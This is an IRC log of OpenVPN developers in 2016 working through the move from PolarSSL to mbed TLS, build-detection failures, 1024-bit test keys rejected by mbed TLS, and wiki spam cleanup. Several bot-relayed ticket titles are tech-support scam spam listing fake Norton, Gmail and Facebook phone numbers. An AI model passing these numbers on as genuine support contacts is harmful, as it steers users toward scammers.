ChanServ 13:48 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 13:49 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:49 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Thu Apr 28 2016 02:26 * cron2 goes looking for plaisthos or mattock 04:09 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 268 seconds] 06:22 <@plaisthos> cron2: yes? 06:27 <@cron2> ah, here's one :-) 06:27 <@cron2> plaisthos: can I bother you for a review of James' 06/10 and 07/10 in the revamped version by syzzer? 06:27 <@cron2> Message-ID: <CAA1AbxL1w8e_o-GjS2jETZWxYdMbS2iKABPc6OZBA8bOVycjtA@mail.gmail.com> 06:27 <@cron2> Message-ID: <CAA1AbxL=QYUy6N+jKgxVVuftmF=75mSEz3rYUbisT245UfB5Dg@mail.gmail.com> 06:28 <@cron2> if these are merged, the "change polarssl to mbedssl" patch might apply... 06:37 <@plaisthos> will take a look 06:37 <@cron2> thanks :) 06:39 <@plaisthos> 6/10 is identical to James btw. ;) 06:39 <@cron2> oh 06:39 <@cron2> so the review bit is only for changes.rst and commit msg, then :-) - indeed 06:50 <@cron2> sheesh... and it does not apply because other changes have been done to changes.rst in the meantime 06:50 * cron2 complains a bit and goes applying manually 06:51 <@syzzer> hm, this is a side of Changes.rst that I didn't see coming 06:51 <@syzzer> thanks for reviewing, plaisthos :) 06:52 <@cron2> indeed, and it's biting us quite regularily if patches are not applied properly in-sequence (or multiple people send patches based on the same HEAD) 06:52 <@cron2> actually the conflict is with syzzer's "stricter default TLS cipher list" change to Changes.rst :-) 06:53 <@syzzer> yea yea, I know I'm usually the one breaking stuff ;) 06:53 <@plaisthos> but magling changes.rst should be realtivly straight forward 06:53 <@cron2> I can do that :) 06:56 <@cron2> mmmh. 06+07 are applied, but neither changes configure.ac, so I wonder where the issues applying the mbedtls patch came from 07:01 <@cron2> compiling master+06+07 now... or, precisely, installing polarssl 1.3 first to actually make it compile :-) 07:12 <@vpnHelper> RSS Update - gitrepo: Implemented x509-track for PolarSSL. <https://github.com/OpenVPN/openvpn/commit/fab49d17d36053189cf504d57e53a8b0cb907f6f> || PolarSSL x509_get_sha1_hash now returns correct SHA1 fingerprint. <https://github.com/OpenVPN/openvpn/commit/dd2fbc26eb7b32325793ae3f7d215f46e881e68c> 07:16 <@cron2> mmmh 07:16 <@cron2> the mbedtls patch still has hunks that do not apply 07:16 <@cron2> Patching file configure.ac using Plan A... 07:16 <@cron2> Hunk #1 failed at 291. 07:16 <@cron2> Patching file src/openvpn/options.c using Plan A... 07:17 <@cron2> Hunk #10 succeeded at 6566 (offset 11 lines). 07:17 <@cron2> Hunk #11 failed at 6577. 07:17 <@cron2> syzzer: what is in your tree that I do not have? 07:17 <@syzzer> let me see 07:19 <@syzzer> hm, configure.ac should not be changed at all 07:21 <@cron2> oh, wait 07:21 <@cron2> I think *that* is something I messed up - I manually changed the patch because git was complaining about whitespace in the configure.ac stuff 07:23 <@cron2> yes, sorry 07:23 <@cron2> Patching file configure.ac using Plan A... 07:23 <@cron2> Hunk #1 succeeded at 291. 07:23 <@syzzer> ah, good. 07:23 <@syzzer> (just checked, patch applied without fuzz for me) 07:23 <@cron2> there is fuzz in options.c 07:23 <@cron2> Hunk #9 succeeded at 2298. 07:23 <@cron2> Hunk #10 succeeded at 6566 (offset 11 lines). 07:24 <@syzzer> there is? I just tried it on origin/master: $ git am ~/Desktop/mbed-02.patch 07:24 <@syzzer> Applying: Migrate to mbed TLS 2.x 07:25 <@cron2> (that is plain FreeBSD "patch", so maybe it's confused about things) 07:26 <@cron2> yeah, git is happy now 07:26 <@cron2> good :) 07:26 <@syzzer> ah, yes, line numbers may be off 07:27 <@syzzer> perfect, now I'll go and hide before the buildbot maintainers show up... ;) 07:27 <@cron2> mattock is hiding anyway... :( 07:39 <@cron2> syzzer: "it no workee!" 07:39 * syzzer is not here 07:39 <@cron2> Thu Apr 28 14:36:57 2016 VERIFY ERROR: depth=0, flags=10000, C=US, ST=California 07:39 <@cron2> , L=Pleasanton, O=OpenVPN community project, CN=server, emailAddress=samuli@open 07:39 <@cron2> vpn.net 07:40 <@cron2> my t_client connects to the reference server bomb... it works with polar 1.3.9, and fails with "1v2 added + mbed 2.2.1" 07:41 <@syzzer> who complains? The server or client? 07:44 <@cron2> client 07:44 <@mattock> polarssl / mbedtls upgrade for buildbots again? 07:45 <@cron2> mattock: yes, but not yet... 07:45 <@cron2> syzzer: could it be some sort of "this is a SHA1 certificate and we don't support this oldfashioned stuff anymore"? 07:45 <@mattock> ok, let me know 07:45 <@cron2> mattock: you can isntall mbedtls 2.2.x in parallel to polarssl, so feel free to give it a go :-) 07:45 <@syzzer> cron2: I think that *should* work 07:45 <@mattock> cron2: ok, sounds good 07:46 <@syzzer> I'll try and run t_client.sh here 07:47 <@cron2> it's not a t_client issue as such - running the new build standalone shows the same error 07:47 <@cron2> there are two VERIFY lines, one is good and one fails 07:47 <@cron2> Thu Apr 28 14:46:56 2016 us=235114 VERIFY OK: depth=1, C=US, ST=California, L=Pleasanton, O=OpenVPN community project, CN=OpenVPN connectivity test server CA, emailAddress=samuli@openvpn.net 07:47 <@cron2> Thu Apr 28 14:46:56 2016 us=235127 VERIFY ERROR: depth=0, flags=10000, C=US, ST=California, L=Pleasanton, O=OpenVPN community project, CN=server, emailAddress=samuli@openvpn.net 07:47 <@cron2> Thu Apr 28 14:46:56 2016 us=235135 TLS_ERROR: read tls_read_plaintext error: X509 - Certificate verification failed, e.g. CRL, CA or signature check failed 07:50 <@syzzer> is this setup using a CRL? 07:51 <@cron2> no, plain --client --ca --cert --key --remote ... 07:51 <@cron2> the only non-default part is "--ns-cert-type server" 07:51 <@cron2> let me see 07:51 <@cron2> no 07:52 <@syzzer> 2.x did become a bit more picky about reading certificates, but that should show up earlier 07:53 <@cron2> crt are mode 644, .key is 600 07:55 <@cron2> mattock: while you're at it - could you please disable the arch buildbot? All it does is "waste time" - it's not maintained, the builds are not working, but the failure mails steal our time 08:07 <@cron2> mmmh, t_cltsrv.sh succeeds... 08:07 * cron2 has no idea how to debug this 08:09 <@syzzer> cron2: I can't reproduce here: 08:09 <@syzzer> Thu Apr 28 15:08:11 2016 us=779323 VERIFY OK: depth=1, C=US, ST=California, L=Pleasanton, O=OpenVPN community project, CN=OpenVPN connectivity test server CA, emailAddress=samuli@openvpn.net 08:09 <@syzzer> Thu Apr 28 15:08:11 2016 us=779531 VERIFY OK: nsCertType=SERVER 08:09 <@syzzer> Thu Apr 28 15:08:11 2016 us=779551 VERIFY OK: depth=0, C=US, ST=California, L=Pleasanton, O=OpenVPN community project, CN=server, emailAddress=samuli@openvpn.net 08:13 <@cron2> these lines look different 08:14 <@cron2> I have no nsCertType line, and my VERIFY ERROR line has "flags=10000" 08:14 <@cron2> which server are you connecting to? 199.102.77.82? 08:15 <@syzzer> that's probably because it's an ERROR line, different log statement 08:15 <@syzzer> Name: conn-test-server.openvpn.org 08:15 <@syzzer> Address: 199.102.77.82 08:15 <@cron2> mmmh 08:23 <@syzzer> "The certificate is signed with an unacceptable key (eg bad curve, RSA too short)." 08:25 <@syzzer> (that's what the flags value means) 08:26 <@syzzer> but why you get this error while I don't... 08:33 <@syzzer> hrmpf, I was running the wrong executable... 08:33 <@cron2> which mbedtls version do you use? 08:33 <@syzzer> so yes, same 'problem' here: mbedtls rejects RSA key < 2048 bits 08:33 <@syzzer> and the test setup uses 1024 bits keys 08:38 <@cron2> "wrong executable" is a good reason for a different result :-) 08:41 <@cron2> two questions result - a) how can we make this error more useful? "I have working keys, now I get VERIFY ERROR out of the blue?" - and b) is there a way to "fix" this without re-rolling all our test certs? 08:43 <@syzzer> I'll send a patch for a) 08:45 <@cron2> oh, good :) 08:45 <@syzzer> for b), we could either add an openvpn option to specify the minimum key length, or patch mbedTLS on the test machines to use a different default rsa_min_bitlen 08:46 <@cron2> so this can be overridden by the mbedTLS-using application? 08:46 <@syzzer> yes, it can 08:48 <@cron2> how bad is 1024-bit RSA in our context? "no way!" bad or "well..." bad? 08:49 <@syzzer> 'currently breakable by nation-state actors' 08:49 <@syzzer> or Google, for that matter... 08:49 <@syzzer> still *very* expensive to break, though 08:50 <@cron2> I can see nations with significantly less IT and intelligence budget than Google... 08:50 <@syzzer> but more incentive ;) 08:52 <@cron2> adding another option is meh, setting the keylenght to 1024 by default is meh, patching local mbedtls installs is double-meh (because we cannot use packages anymore) 08:53 <@syzzer> yep 08:53 <@syzzer> so re-rolling the certs is probably be best option 08:57 * cron2 tries to remember where the CA for this lives 09:04 <@cron2> the a) patch should have a note in Changes.rst about "user-visible changes"... 09:05 <@syzzer> cron2: indeed 09:08 <@mattock> arch buildslave disabled 09:12 <@cron2> mattock: thanks! 10:02 <@cron2> oh yeah, new openssl release coming tuesday 10:08 <@cron2> so, let the explosions start... 10:08 <@cron2> mattock: --with-crypto-library=polarssl will now blow up 10:08 <@cron2> so the test (for master) needs to be =mbedtls, and the systems will need mbedtls library installed 10:10 <@cron2> [1/1] Installing mbedtls-2.2.1... 10:10 <@vpnHelper> RSS Update - gitrepo: Rename files with 'polarssl' in the name to 'mbedtls' <https://github.com/OpenVPN/openvpn/commit/74586c6508e5dd283eaef9d098644a7800beec01> || Migrate to mbed TLS 2.x <https://github.com/OpenVPN/openvpn/commit/86d8cd6860dfc74cb1a040ff8fe03140ebe7f930> 10:10 <@cron2> ecrist: your openvpn-devel port will also need adjustments 10:10 <@ecrist> drat 10:12 <@cron2> yeah, it's a bit of work now, but inevitable - so we can just do it now, and be done with it 10:13 <@ecrist> cron2: remind me next week, if you can. I'll let the new dev tarball roll up on Sunday, then I'll push an updated port out mid-week next week. 10:29 <@cron2> configure: error: bad value polarssl for --with-crypto-library 10:29 <@cron2> here they come 10:53 <@plaisthos> syzzer: how hard is a general warning for <2048 keys? 11:29 <@syzzer> plaisthos: not that hard 11:31 <@plaisthos> question is if that is a good idea 16:33 <@dazo> wohoo! Another OpenSSL release coming in a next week ... https://mta.openssl.org/pipermail/openssl-announce/2016-April/000069.html 16:33 <@vpnHelper> Title: [openssl-announce] Forthcoming OpenSSL releases (at mta.openssl.org) 18:34 <@vpnHelper> RSS Update - tickets: #677: int "wiki_pk"DETAIL: Key (name, version)=(++1.844307/4778+++ norton antivirus customer service Phone number norton tech support number, 7) already exists. <https://community.openvpn.net/openvpn/ticket/677> 20:23 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 260 seconds] 20:25 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:25 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Fri Apr 29 2016 03:06 <@cron2> mattock: you put "community" tasks into your Jira? whee :-) 03:44 <@mattock> well, most of them are for my own use just so that I don't forget 03:44 <@mattock> I don't want to pollute trac with that stuff 03:45 <@mattock> plus pretty much the only really nice feature in JIRA is the Kanban board, which I use heavily 04:23 <@cron2> mattock: can you change build master to build --with-crypto-library=polarssl --> --with-crypto-library=mbedtls please? 04:24 <@cron2> it will still blow up on some hosts (because no mbedtls is there, or because the key lenght is too small) but at least the FreeBSDs should all *compile* and pass the rest of the selftests... 04:24 <@cron2> ah 04:24 <@cron2> I see that this is already happening :-) 04:25 <@mattock> I did that but fed my comments to an entirely wrong Pidgin window, lol :P 04:25 <@mattock> anyways, my centos 6 does not seem find mbedtls: configure: error: Could not find mbed TLS. 04:28 <@mattock> deleted four spam attachments from the Trac front page 04:28 <@mattock> the oldest one was there for 11 hours, so a pretty quick response 04:34 <@mattock> syzzer, cron2: any clues why the new mbedtls library is not detected properly: 04:34 <@mattock> checking for mbedtls_ssl_init in -lmbedtls... no 04:34 <@mattock> configure: error: Could not find mbed TLS. 04:35 <@mattock> mbedtls-2.2.1 is the correct version, right? 04:38 <@mattock> autoreconf -vi && ./configure --with-crypto-library=mbedtls --enable-crypto 04:38 <@mattock> reproducible on debian 7 and centos 6 05:07 <@cron2> mattock: where are the libraries? system-installed in /usr/lib/ or custom-isntalled in /usr/local/lib/ 05:07 <@cron2> worked here without issue on gentoo with gentoo-installed mbedtls 05:07 <@cron2> (in /usr/lib/) 05:24 <@mattock> /usr/local/lib, but that was the place polarssl libs have always been on the buildslaves 05:26 <@mattock> hmm, fails even on ubuntu 14.04 05:27 <@mattock> $ ls /usr/local/lib/|grep mbed 05:27 <@mattock> libmbedcrypto.a 05:27 <@mattock> libmbedtls.a 05:27 <@mattock> libmbedx509.a 05:28 <@mattock> running ldconfig makes no difference whatsoever 05:29 <@mattock> syzzer: any thoughts regarding ^^^? 05:33 <@mattock> header files are in /usr/local/include/mbedtls 05:33 <@mattock> I'll try to move the polarssl header files away 05:33 <@mattock> no difference 05:37 <@cron2> if you have them in /usr/local/ you need to either set a symlink from /usr/lib/ or set MBEDTLS_LIBS="-L/usr/local/lib -lthis -lthat -lthird" in the configure invocation 05:37 <@cron2> my buildslaves all have symlinks from /usr/include/ and /usr/lib/ for polar 05:39 <@mattock> ah 05:42 <@mattock> hmm, did not help 05:46 <@mattock> in config.log: /usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../lib/libmbedtls.a(ssl_tls.o): In function `ssl_calc_finished_tls_sha256': 05:46 <@mattock> ssl_tls.c:(.text+0xc3): undefined reference to `mbedtls_sha256_init 05:46 <@mattock> and a bunch of the same kind of errors 05:52 <@cron2> so what is config.log calling the linker with? 05:54 <@mattock> I assume you mean this: "gcc -o conftest -g -O2 conftest.c -lmbedtls" 05:58 <@mattock> I guess it should use "-lmbedtls -lmbedcrypto -lmbedx509", which is the default in configure.ac 06:01 <@mattock> which works, if entered manually: 06:01 <@mattock> MBEDTLS_LIBS="-lmbedtls -lmbedcrypto -lmbedx509" ./configure --with-crypto-library=mbedtls --enable-crypto 06:01 <@mattock> ... 06:01 <@mattock> checking mbedtls version... ok 06:01 <@mattock> checking mbedtls pkcs11 support... ok 06:01 <@mattock> checking for mbedtls_cipher_write_tag... yes 06:01 <@mattock> checking for mbedtls_cipher_check_tag... yes 06:02 <@cron2> indeed, it should use all 3 libraries 06:02 <@cron2> (and it does so for me, without needing coaxing) 06:03 <@mattock> 3 different buildslaves exhibit this unwanted behavior, so something needs to be fixed 06:04 <@mattock> something in the autodetection goes wrong I guess 06:04 <@mattock> /usr/local vs. /usr makes no difference btw, just like it never did wih polarssl 06:04 <@mattock> I linked both the libs and include/mbedtls to /usr and the behavior was the same (=broken) 06:07 <@cron2> is there a .pc file for mbedtls? 06:07 <@mattock> hmm, let's see 06:08 <@mattock> commit 86d8cd changes the part of configure.ac which defines the mbedtls auto-detection / manual override 06:08 <@cron2> of course it does - no mbedtls before 86d8cd 06:08 <@cron2> it was called "polarssl" before that commit :) 06:09 <@mattock> yes, but the actual segment structure changes also 06:09 <@mattock> it's not just "polarssl -> mbedtls" 06:09 <@mattock> it could be that behavior is still the same, but that's not obvious (to me) 06:10 <@cron2> the old one had AC_SEARCH_LIBS while the new one has AC_CHECK_LIB, which will only try one thing and not look around in multiple places ("try -lmbedtls, try -lpolarssl") 06:11 <@cron2> and, if I understand correctly, will query pkgconfig how to link this - there's no .pc for mbedtls here on gentoo, so it falls back to "just link and be done" - but if there is a .pc that says "just link -lmbedtls!", it will fail (because that is not sufficient) 06:12 <@cron2> what does "pkg-config --libs mbedtls" tell you? 06:12 <@mattock> I couldn't find any .pc file for mbedtls (e.g. in /usr/lib/x86_64-linux-gnu/pkgconfig) or under /usr/local 06:12 <@mattock> let's try that one 06:14 <@mattock> pkg-config was not even installed (on ubuntu 14.04) 06:14 <@mattock> I installed it, rebuilt+installed mbedtls and then ran it: 06:15 <@mattock> pkg-config --libs mbedtls 06:15 <@mattock> Package mbedtls was not found in the pkg-config search path. 06:15 <@mattock> Perhaps you should add the directory containing `mbedtls.pc' 06:15 <@mattock> to the PKG_CONFIG_PATH environment variable 06:15 <@mattock> No package 'mbedtls' found 06:15 <@mattock> I'll check pkg-config config 06:15 <@cron2> ok, so I have no idea why your configure is not finding libraries 06:16 <@mattock> me neither 06:16 <@mattock> so do all of your buildslaves find mbedtls just fine? 06:16 <@cron2> you haven't started builds yet :) 06:17 <@cron2> but I just tried on freebsd91 (../openvpn-testing/configure --with-crypto-library=mbedtls, on current master) 06:17 <@cron2> and it works perfect 06:17 <@cron2> I need the symlinks though 06:18 <@cron2> /usr/include/mbedtls -> /usr/local/include/mbedtls 06:18 <@cron2> and 06:18 <@cron2> /usr/lib/libmbed{x509,tls,crypto}.so -> /usr/local/lib/lib...so 06:18 <@cron2> OpenVPN 2.3_git [git:master/74586c6508e5dd28+] amd64-unknown-freebsd9.3 [SSL (mbed TLS)] [LZO] [LZ4] [MH] [IPv6] built on Apr 29 2016 06:18 <@cron2> library versions: mbed TLS 2.2.1, LZO 2.09 06:19 <@cron2> so the buildbot should not have any issues there either 06:19 <@mattock> I have mbedTLS 2.2.2 06:19 <@mattock> I'll downgrade to 2.2.1 just in case 06:20 <@mattock> uh, 2.2.1 I have 06:20 <@cron2> that should not make a difference 06:20 <@mattock> yep 06:24 <@cron2> have to fetch $kid[0] from Kindergarten now - then I'll try my ubuntu14 machine and see what it does 06:24 <@cron2> is mbedtls coming from a package or "built from source"? 06:25 <@mattock> build from source 06:25 <@mattock> on all of my buildslaves 06:26 <@cron2> I have packages on freebsd 9 and 10, and sources on 7+8 06:29 <@cron2> so, ubuntu1404, sf.net clone, mbedtls in /usr/local/* 06:29 <@cron2> checking for mbedtls_ssl_init in -lmbedtls... no 06:29 <@cron2> configure: error: Could not find mbed TLS. 06:32 <@cron2> with symlinks in place, it *still* fails... which is interesting 06:32 <@cron2> configure:15974: checking for mbedtls_ssl_init in -lmbedtls 06:32 <@cron2> configure:16000: gcc -o conftest -g -O2 conftest.c -lmbedtls 06:32 <@cron2> >&5 06:32 <@cron2> /usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../lib/libmbedtls.a(ssl_tls.o): In function `ssl_calc_finished_tls_sha256': 06:32 <@cron2> ssl_tls.c:(.text+0xc3): undefined reference to `mbedtls_sha256_init' 06:32 <@cron2> one difference *might* be that the freebsd stuff has shared libraries by default, while ubuntu only gave me .a - possibly the .so know their dependencies 06:32 <@cron2> will test with .so later 06:39 <@mattock> yeah, I have .a on all of the buildslaves also 06:47 <@mattock> "SHARED=1 make" produced .so files 06:51 <@mattock> hmm, even with SHARED=1 and links I get the failure 06:51 <@mattock> need to stop this for now 08:03 <@cron2> re 08:07 <@cron2> ok, this is officially weird now 08:07 <@cron2> ubuntu with only .a -> fail, ubuntu with only .so -> fail 08:07 <@cron2> same link command on freebsd91, with .so 08:08 <@cron2> configure:16448: checking for mbedtls_ssl_init in -lmbedtls 08:08 <@cron2> configure:16474: gcc -o conftest -g -O2 conftest.c -lmbedtls 08:08 <@cron2> >&5 08:08 <@cron2> configure:16474: $? = 0 08:08 <@cron2> configure:16483: result: yes 08:08 <@cron2> yeah 08:09 <@cron2> freebsd libmbedtls.so has a dependency to libmbedcrypto.so and libmbedx509.so ("ldd /usr/lib/libmbedtls.so") while linux build does not 08:10 <@cron2> syzzer: what platform are you building on? 09:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 276 seconds] 09:21 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:21 -!- mode/#openvpn-devel [+o dazo] by ChanServ 13:45 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 13:46 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:46 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:28 <@vpnHelper> RSS Update - tickets: #678: Instant Call@1888-348 1766gmail customer support phone number, gmail tech support phone number USA <https://community.openvpn.net/openvpn/ticket/678> 15:04 <@vpnHelper> RSS Update - tickets: #678: spam <https://community.openvpn.net/openvpn/ticket/678> 15:07 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 15:08 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 15:08 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:38 <@vpnHelper> RSS Update - tickets: #679: (((1888!!226!1422))) Facebook tech Support Number 1888!!226!1422 Facebook technical Support Number <https://community.openvpn.net/openvpn/ticket/679> --- Day changed Sat Apr 30 2016 01:25 <@vpnHelper> RSS Update - tickets: #679: spam <https://community.openvpn.net/openvpn/ticket/679> 04:43 <@vpnHelper> RSS Update - tickets: #680: Testing spam filters <https://community.openvpn.net/openvpn/ticket/680> 07:55 <@mattock> I wonder if the current version of the page is spam: https://community.openvpn.net/openvpn/wiki/ThirdPartyContributions 07:55 <@vpnHelper> Title: ThirdPartyContributions – OpenVPN Community (at community.openvpn.net) 07:55 <@mattock> not from the same attack probably, but older and more subtle kind 07:55 <@mattock> I can't ever recall hearing about RootBSD sponsoring our project 08:02 <@cron2> what is RootBSD, and why did I get nothing from the moneyz! 08:02 <@mattock> yes, exactly 09:01 <@mattock> uh, what a mess that spam attack was 09:01 <@mattock> everything order now afaics 09:01 <@mattock> in order 10:11 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 10:13 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 10:13 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:18 <@plaisthos> syzzer: just got the first user who complains about this config broken becuase of tls-auth + --auth none 12:19 <@plaisthos> (but it works with non android clients ...) 12:23 <@cron2> mattock: thanks for sorting this out. Yes, these <censored> are real fun at times - I have this blog which is not very active, but still gets spam quite regularily - total annoyance and waste of human lifetime, grrr 12:40 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 12:41 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:41 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Sun May 01 2016 08:45 <@cron2> mattock: strangely enough, my *gentoo* libmbedtls.so depends on the other two, so when I tested syzzer's configure here, it worked nicely 08:49 <@cron2> sheesh 08:49 <@cron2> mattock: if you do "./library/libmbedtls.so.10 08:49 <@cron2> argh 08:52 <@cron2> mattock: if you do "cmake -DUSE_SHARED_MBEDTLS_LIBRARY=On ." *first*, and *then* run make on the newly-generated Makefile, the libraries will have the necessary .so dependencies, and "configure --with-crypto-library=mbedtls" will succeed (on ubuntu 14.04) 08:52 <@cron2> OpenVPN 2.3_git [git:master/74586c6508e5dd28] x86_64-unknown-linux-gnu [SSL (mbed TLS)] [LZO] [LZ4] [EPOLL] [MH] [IPv6] built on May 1 2016 08:52 <@cron2> library versions: mbed TLS 2.2.1, LZO 2.06 08:53 <@cron2> syzzer: I still think we should handle this better... 12:09 <@vpnHelper> RSS Update - gitrepo: ignore the local config file t_client.rc in git <https://github.com/OpenVPN/openvpn/commit/645071ae9fac091a62eecd43d6ac5d5fdd4ab91c> 12:32 <@syzzer> plaisthos: wow, that took quite a while, apparently people either understood that their setup was broken, or there are not so many broken configs (in this way) out there... 12:32 <@syzzer> cron2, mattock: just arrived home from a weekend drinking beers in Stuttgart, missed all the 'fun 12:33 <@syzzer> ' 12:33 <@syzzer> but yeah, let's see if we can handle that better 12:40 <@syzzer> I think this should do the trick: 12:40 <@syzzer> https://gist.github.com/syzzer/8dcc083464fcaa7862bf0e6caed8f97d 12:40 <@vpnHelper> Title: gist:8dcc083464fcaa7862bf0e6caed8f97d · GitHub (at gist.github.com) 12:40 <@cron2> syzzer: beer drinking contest? :) 12:42 <@syzzer> not officially a contest... ;) 12:55 <@cron2> now I need to break my Ubuntu system again, to test that :) 12:57 <@cron2> configure: error: Could not find mbed TLS. 12:58 <@cron2> broken again! let's try with the patch... 12:59 <@cron2> works! 13:12 <@cron2> (and, as a side note: freebsd74 buildbot compiles just fine but fails t_client - no big surprise here) 13:16 <@syzzer> ok, good (the ubuntu part). I'll send a patch. 13:16 <@cron2> thanks (and a patch for "hey, your RSA key stinks!", please :) ) 13:21 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 15:01 <@syzzer> cron2: yes, will do. but not tonight :) 15:33 <@vpnHelper> RSS Update - gitrepo: configure.ac: link to all mbed TLS libs during library detection <https://github.com/OpenVPN/openvpn/commit/e860059baa912ced7acf00f9b1e85a3d80dc0b1f> --- Day changed Mon May 02 2016 03:03 <@syzzer> mattock: https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation disappeared... 03:12 <@cron2> ugh 03:27 <@mattock> um, I'll add it back 03:27 <@mattock> it probably got destroyed during spam removal 03:27 <@mattock> in retrospect just reloading from database dump would have been easier 03:27 <@mattock> you live, you learn 04:16 <@mattock> page back in 04:16 <@mattock> lost the history, but if we truly need it, it's available in backups 04:24 <@syzzer> mattock: great, thanks! :) 04:25 <@mattock> np 04:26 <@mattock> so far 3 real pages got accidentally removed when automatically removing the spam page (~550) 04:26 <@mattock> even though I triple-checked the list of pages :P 04:26 <@mattock> next time I'll definitely do full restore from backups - way more straightforward and much, much quicker 04:30 <@mattock> hopefully there won't be a "next time", though :D 05:42 -!- FFes_ is now known as FFes 10:22 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 10:23 -!- marlinc_ is now known as marlinc 10:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 10:31 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:31 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 15:30 -!- woodrow_ is now known as woodrow 15:32 < ValdikSS> money money money money 15:32 < ValdikSS> bitcoin bitcoin bitcoin bitcoin 15:32 < ValdikSS> strongSwan developer was faster then you guys 16:50 -!- floppym_ is now known as floppym --- Day changed Tue May 03 2016 02:59 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 276 seconds] 03:04 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:04 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 05:54 <@d12fk> ValdikSS: ? 06:04 <@syzzer> d12fk: ValdikSS has been trying to sponsor the project for a while now, but we managed to provide him with a way to do so... 06:04 <@syzzer> we *never* manager 06:04 <@syzzer> grrr, well, you get it 06:16 <@d12fk> i guess we're all sponsored by our employers already 07:00 <@cron2> well... my customers sometimes pay for openvpn development, but only "if relevant" (like, the AIX port) 07:30 <@d12fk> ya, so you could have used that sponsorship 07:50 <@cron2> I thought we use the moneyz for beer at the next hackathon... but sort of mattock does not want money 07:51 <@mattock> I don't want the hassle involved with money 07:51 <@mattock> and I think organizing the moneyz at the company end would end up being rather difficult 07:53 <@mattock> our CEO does does not want donations, and I can understand it 07:53 <@mattock> I think it would be best if a trustee at the community side would handle the monetary transactions 07:54 <@mattock> that way the company ("profit-making entity") could be kept out of the picture 07:54 <@mattock> that is my personal opinion, though 07:54 <@mattock> and that was a disclaimer :P 08:22 <@d12fk> So we'd need a openvpn e.V. 08:23 * d12fk is not volunteering 08:27 * cron2 neither, getting my accounts clean as a freelancer that occasionally gets paid for openvpn work is complicated enough 08:59 <@d12fk> maybe a foundation in an other country less organized than germany woul dbe easier. anyone from panama around? 09:03 <@mattock> lol 09:03 <@mattock> the polarssl guys really managed to mess up the buildsystem 09:03 <@mattock> what was previously "make && make check && make install" suddenly became way more complex 09:03 <@mattock> I wonder how they succeeded 09:07 <@mattock> cron2: so now mbedtls is working, but all the t_client.sh tests fail 09:08 <@mattock> was that to be expected? 09:18 <@syzzer> mattock: yes 09:18 <@syzzer> because your keys are too small yo! 09:19 <@syzzer> but now you've done that, openssl got you a present: https://www.openssl.org/news/openssl-1.0.1-notes.html 09:27 <@cron2> mattock: you should be reading your IRC more often :) 09:27 <@cron2> mattock: the make && make check && make install part works fine, same as for polarssl 09:28 <@cron2> it's just that *our* build system does not look in /usr/local unless told 09:29 <@cron2> syzzer: anything relevant for us? 09:30 <@syzzer> going over it now 09:33 <@mattock> cron2: oh 09:34 <@ecrist> A long time ago, we used to get donations and I managed those. 09:34 <@ecrist> We used the funds to purchase software and pay some hosting costs. 09:34 <@ecrist> I can't remember the last time we got a donation, though, and OpenVPN Technologies has done a good job of providing some servers, and even RootBSD provides VMs for our testing. 09:35 <@mattock> ecrist: ah, so you know RootBSD... I was wondering what they were (on Contributors page) 09:35 <@cron2> mattock: though the error you get on centos6 at least is not to be expected 09:35 <@cron2> the "error while loading shared libraries: libmbedtls.so.10" thing 09:36 <@mattock> well that should be gone by now 09:36 <@mattock> I made the buildsystem put files to /usr directly, and run ldconfig afterwards 09:36 <@cron2> ic 09:36 <@ecrist> mattock: yes, they provide two FreeBSD VMs, one cron2 uses for some testing (philip.secure-computing.net) and one I use to build packages and bounce IRC from (terrance.secure-computing.net). 09:36 <@ecrist> (yes, that's a south park reference) 09:37 <@ecrist> (no, the VMs are not Canadian) 09:37 <@mattock> ecrist: ic 09:43 <@syzzer> the openssl update is not too exciting for us 09:43 <@syzzer> only for people who didn't update their openssl since June 11th 2015 09:43 <@syzzer> those will have RCE (unless tls-auth, ofc) 10:13 <@cron2> mattock: obsd49 should *compile* mbedtls now as well 10:16 <@cron2> osol10 should compile as well 10:16 <@cron2> now to roll out new keys + certs (preferrably with the same CN, so the server will not assign new IP addresses) 10:17 < ValdikSS> Padding oracle in AES-NI CBC MAC check (CVE-2016-2107) 10:17 < ValdikSS> This is also highly relevant 10:17 <@cron2> since we don't do AESNI in anything we ship, it isn't... 10:18 <@cron2> (and, besides, do we even use AES CBC MAC for anything?) 10:18 < ValdikSS> AES-NI is enabled in OpenVPN by default AFAIK, and OpenVPN uses it if cipher is set to aes-something 10:19 < 